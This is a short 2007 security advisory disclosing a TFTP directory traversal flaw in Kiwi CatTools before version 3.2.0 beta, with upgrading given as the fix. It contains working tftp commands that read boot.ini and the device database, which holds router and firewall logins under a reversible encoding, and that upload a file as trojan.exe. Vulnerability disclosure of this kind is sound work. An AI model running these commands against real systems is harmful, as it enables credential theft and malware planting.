TFTP directory traversal in Kiwi CatTools

[Nicob <nicob@nicob.net>]

        TFTP directory traversal in Kiwi CatTools


Application : Kiwi CatTools prior to 3.2.0 beta
Release Date : 8 February 2007
Author : Nicob <nicob at nicob.net>

Product :
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http://www.kiwisyslog.com/cattools-info.php :

"Kiwi CatTools is a freeware application that provides automated device
configuration management on routers, switches and firewalls."

A built-in TFTP server exists and a "encrypted device database" contains
IP addresses, logins and passwords for each configured device.

Vunerability :
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TFTP directory traversal :

tftp -i 10.11.12.13 GET a//..//..//..//..//..//boot.ini
tftp -i 10.11.12.13 PUT foo.exe a//..//trojan.exe

Note : the device database is only protected by a reversible encoding
and can be remotely accessed with "GET a//..//..//kiwidb-cattools.kdb".

Solution :
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Upgrade to version 3.2.0 beta or newer.


Nicob